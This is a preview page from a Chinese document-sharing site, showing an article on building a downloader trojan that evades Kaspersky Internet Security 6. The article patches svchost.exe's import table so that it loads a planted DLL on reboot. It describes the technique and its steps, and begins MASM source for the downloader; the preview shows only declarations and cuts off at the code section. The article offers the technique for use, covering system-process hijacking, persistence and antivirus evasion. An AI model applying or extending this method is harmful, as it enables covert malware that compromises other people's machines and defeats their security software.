网站大量收购独家精品文档,联系QQ:2885784924

I修改引入表打造穿透KIS6的下载者.docVIP

  1. 1、本文档共14页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
I修改引入表打造穿透KIS6的下载者

修改引入表打造穿透KIS6的下载者 ? ?今年四月份的黑防有一篇文章《把任意可执行文件作为木马载体》,文中介绍了通过给可执行文件添加一个新节并修改程序入口点的方法来加载我们的特洛伊DLL,此方法具有明显的病毒行为特征,卡巴会将其识别为新的Win32病毒,据我的理解,凡是入口点不是指向代码节的它都会报有毒.KIS是防火墙与杀毒软件等传统安全产品的超集,是行为加特征码来防范恶意软件,所以以往普遍使用的诸如:CreateRemoteThread、SetThreadContext、SetWindowHook等等以及通过Appinit_Dlls等注册表键值来进行代码注入的行为都会被KIS所拦截.而且可信进程的可疑网络行为也会被警告,如:IE浏览器访问一些非Web端口.Windows 系统服务分为独立进程和共享进程两种,在Windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,从Windows 2000开始微软又把很多服务做成共享方式,由svchost.exe启动。svchost作为NT平台网络服务的载体,是唯一一个在kIS下拥有完全访问网络权限的程序,假如能让它加载我们的DLL,那么就可以轻松穿透KIS这堵铁墙.修改svchost的引入表就能达到这个目的,前段时间的一个后门黑客之门就是通过这种方式自启动的,修改EXE文件的引入表需要读者对PE文件结构有一定的了解,何为引入表呢?每个PE文件都有引入表,svchost的引入表如图1: 图1 每个引入的DLL都会用一个IMAGE_IMPORT_DESCRIPTOR表示,该结构定义如下: IMAGE_IMPORT_DESCRIPTOR STRUCT ? union ? ?Characteristics dd ? ? ?OriginalFirstThunk dd ? ? ends ? TimeDateStamp dd ? ? ForwarderChain dd ? ? Name1 dd ? ? FirstThunk dd ? IMAGE_IMPORT_DESCRIPTOR ENDS 对照着图应该很容易明白,修改后的引入表如图2: 这样,系统重启后svchost就会默认加载我们的sec.dll,于是强大的卡巴就倒在了脚下。 ? ?其实,像“黑客之门”一样修改引入表实现自启动非常简单,方法有两种,一种是利用微软提供的Detour库实现,另外一种就是自己实现,我比较推荐第一种,但是抱着学习的目的我们还是得练练手,代码我已经用纯ASM实现了一个简单的下载者,仅供各位参考,概括的说一下实现过程: 1.定位目标原引入表,将其读出 2.增加一个新节 3.将被我们修改过的引入表写入新节 4.将目标的引入表地址指向新节 这有个问题需要澄清一下,增加一个新节会使目标的文件大小改变,要文件大小不变也可以,只要找到足够大的空隙,然后写入新引入表即可,我下面的代码以XP下的svchost作为例子,所以无法插入空隙,修改使文件大小不改变的就留给各位读者当个作业吧。 .386 .model flat,stdcall option casemap:none ; ;include ; include ? ?windows.inc include ? ?kernel32.inc includelib kernel32.lib include ? ?advapi32.inc includelib ?advapi32.lib ; ;数据段 ; .data dwWriten ?dd 0 zero ? ? ?dd 0 dllname ? ?db sec.dll,0 funpara ? ?db 0,0,SecConfig,0 PE_Header ? ? ? ?IMAGE_NT_HEADERS ? ?0 My_Section ? ? ? IMAGE_SECTION_HEADER ? ? My_Dll ? ? ? MAGE_IMPORT_DESCRIPTOR My_DllName ? ? IMAGE_IMPORT_BY_NAME ? ; .const Head_Len ? ? ? ? equ ? ?sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER ;宏 CTEXT ? ?MACRO y:VARARG ? ?LOCAL sym ? ?CONST segment ? ?ifidni y, ? ? ? ?sym db 0 ? ? ? ? ? ?else ? ? ? ? ? ? ? ? ? ?sym db y,0 ? ?endif ? ?CONST ends ? ?exitm offset sym ENDM ; .code

文档评论(0)

xufugen + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档